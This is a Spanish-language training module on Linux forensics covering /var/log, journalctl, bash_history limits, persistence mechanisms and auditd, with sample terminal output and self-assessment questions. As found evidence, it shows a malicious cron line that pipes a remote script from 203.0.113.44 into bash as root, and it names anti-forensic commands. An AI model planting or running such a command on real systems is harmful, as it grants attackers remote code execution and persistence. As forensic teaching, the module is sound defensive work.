GhostForensicsMódulo 07Caso práctico

Forense de Linux

Linux reparte lo que Windows centraliza en el registro y el Visor de eventos entre docenas de ficheros de texto plano y un journal binario, sin un único punto de entrada equivalente. La ventaja es que casi todo es legible con herramientas estándar sin parseadores especializados; la desventaja es que el analista necesita saber en qué sitio concreto buscar cada cosa.

Objetivos de la unidad

Conocer la estructura de /var/log y qué guarda cada fichero relevante.
Usar journalctl para consultar el journal binario de systemd.
Interpretar el historial de shell (bash_history) y entender sus limitaciones como evidencia.
Identificar los mecanismos de persistencia habituales en Linux: cron, systemd timers, ficheros de perfil de shell, claves SSH.
Usar auditd como fuente fiable de ejecución de procesos, equivalente al Event ID 4688 de Windows.

📦 Caso práctico descargable

Descarga el paquete de evidencia, descomprímelo y lee el LEEME.md antes de empezar. Verifica el hash según el módulo 2 antes de analizar nada:

Hashes de referencia (ver también LEEME.md):

auth.log → 0729771fb25a91ed5627f0aed1123e23d1b6a0c7b9e419839836ee53dab3b4d8
deploy_bash_history → be8e59a500e69845e1cc1e02464f812d2612facc07de60fd0a41731c17c2b134
etc_cron.d_system-check → 245cad636c9bac9a51a236616c52cf30804cedb63aaba8bbecefa9fba5dc298f
ausearch_exec_watch.log → 57329df168fce052c6db807ccb64d3b7e52cef6d5c5cd007eb911d76d6177a0c

⬇️ Descargar M07_ForenseLinux.zip Ver solución paso a paso →

1. Dónde vive el rastro en Linux: /var/log

Fichero	Distribución típica	Qué contiene
`/var/log/auth.log`	Debian/Ubuntu	Autenticación: inicios de sesión, uso de `sudo`, intentos SSH.
`/var/log/secure`	RHEL/CentOS/Fedora	Equivalente a `auth.log` en distribuciones basadas en Red Hat.
`/var/log/syslog`	Debian/Ubuntu	Mensajes generales del sistema y de servicios, formato texto plano.
`/var/log/messages`	RHEL/CentOS/Fedora	Equivalente a `syslog`.
`/var/log/wtmp`	Todas (binario)	Historial de inicios y cierres de sesión; se lee con `last`, no con un editor de texto.
`/var/log/btmp`	Todas (binario)	Intentos de inicio de sesión fallidos; se lee con `lastb` — el equivalente al 4625 de Windows.
`/var/log/lastlog`	Todas (binario)	Último inicio de sesión de cada usuario del sistema.

analista@lab (salida real)

$ lastb -F
root     pts/0        203.0.113.44     Sat Mar 14 02:01:58 2026 - Sat Mar 14 02:01:59 2026  (00:00:01)
root     pts/0        203.0.113.44     Sat Mar 14 02:01:44 2026 - Sat Mar 14 02:01:45 2026  (00:00:01)

2. journalctl: el journal binario de systemd

En distribuciones con systemd (la inmensa mayoría hoy), buena parte de lo que antes vivía solo en ficheros de texto se centraliza también en un journal binario estructurado, consultable con journalctl. A diferencia de los ficheros planos, el journal incluye metadatos adicionales (PID, unidad de systemd, prioridad) y permite filtrar sin depender de grep sobre texto libre.

analista@lab (salida real)

$ journalctl -u sshd --since "2026-03-14 01:50:00" --until "2026-03-14 02:10:00"
Mar 14 02:04:12 web01 sshd[8842]: Accepted publickey for deploy from 203.0.113.44 port 51122 ssh2
Mar 14 02:04:12 web01 sshd[8842]: pam_unix(sshd:session): session opened for user deploy

El journal puede ser persistente o solo en memoria. Si /var/log/journal/ no existe, el journal vive únicamente en RAM y se pierde al reiniciar — otro motivo por el que, ante un equipo Linux comprometido que sigue encendido, conviene volcarlo (journalctl > journal_dump.txt) antes de tocar nada más, siguiendo el orden de volatilidad del módulo 1.

3. Historial de shell: útil, pero poco fiable por sí solo

El fichero ~/.bash_history (o el equivalente de zsh, ~/.zsh_history) guarda los comandos que un usuario ha escrito en su shell interactivo. Es una fuente de evidencia muy citada, pero con limitaciones serias que hay que declarar siempre en un informe:

Sin marca de tiempo por defecto en bash: solo se añade si la variable HISTTIMEFORMAT estaba configurada antes de que se ejecutaran los comandos — algo que casi nunca está activado de fábrica.
Trivial de manipular: el propio usuario (o atacante) puede borrarlo, editarlo a mano, o desactivarlo por completo con unset HISTFILE o history -c antes de desconectarse.
Solo se escribe al cerrar la sesión (por defecto): si el atacante mantiene la sesión abierta o la cierra de forma abrupta, los comandos de esa sesión pueden no llegar a guardarse nunca en el fichero.

Por eso auditd (punto 5) es la fuente que de verdad sostiene un hallazgo cuando el caso lo permite: a diferencia de bash_history, no depende de la buena voluntad del usuario ni de que la sesión se cierre con normalidad.

4. Persistencia en Linux

Mecanismo	Dónde buscarlo
cron de usuario	`crontab -l` por usuario, o directamente `/var/spool/cron/crontabs/<usuario>`
cron del sistema	`/etc/crontab`, `/etc/cron.d/`, `/etc/cron.{hourly,daily,weekly,monthly}/`
systemd timers	`systemctl list-timers --all`; unidades en `/etc/systemd/system/` — el equivalente moderno a cron, cada vez más usado también como persistencia.
Ficheros de perfil de shell	`~/.bashrc`, `~/.bash_profile`, `~/.profile`, `/etc/profile.d/`: cualquier línea añadida aquí se ejecuta cada vez que el usuario abre una shell.
Claves SSH autorizadas	`~/.ssh/authorized_keys`: una clave pública añadida aquí por el atacante le da acceso persistente sin necesidad de contraseña ni de dejar rastro en los logs de autenticación por contraseña.
`LD_PRELOAD`	Variable de entorno (o fichero `/etc/ld.so.preload`) que fuerza a cargar una librería maliciosa antes que las del sistema en cualquier proceso nuevo — técnica usada por rootkits en espacio de usuario.

analista@lab (salida real)

$ cat /etc/cron.d/system-check
*/15 * * * * root curl -s http://203.0.113.44/beacon.sh | bash

5. auditd: ejecución de procesos de forma fiable

auditd es el subsistema de auditoría del kernel de Linux. Correctamente configurado (con una regla que vigile execve), registra cada ejecución de proceso del sistema con su línea de comandos completa, el usuario que lo lanzó y el PID — el equivalente directo al Event ID 4688 de Windows visto en el módulo 6, y una fuente mucho más sólida que bash_history porque no depende de que nadie cierre sesión con normalidad.

analista@lab (salida real)

$ ausearch -k exec_watch -ts recent
type=EXECVE msg=audit(1710382855.112:4821): argc=3 a0="curl" a1="-s" a2="http://203.0.113.44/beacon.sh"
type=EXECVE msg=audit(1710382855.340:4822): argc=1 a0="bash"

auditd no está activo por defecto en todas las distribuciones. Si el sistema no lo tenía configurado antes del incidente, ese rastro simplemente no existe, y toca reconstruir la ejecución de procesos combinando bash_history (con sus limitaciones), el journal, y cualquier log de la aplicación afectada.

Autoevaluación

¿Qué ficheros binarios consultarías con last y lastb respectivamente, y qué diferencia hay entre lo que muestra cada uno?
Nombra dos razones por las que bash_history no debería citarse como única prueba de que un comando se ejecutó.
¿Qué ventaja tiene auditd sobre bash_history para demostrar ejecución de un comando concreto?
Encuentras una línea añadida a ~/.ssh/authorized_keys que no reconoces. ¿Qué tipo de persistencia es, y por qué un atacante la preferiría sobre una contraseña?
El journal de systemd de una máquina comprometida que sigue encendida no tiene persistencia en disco. ¿Qué deberías hacer antes de apagarla o reiniciarla?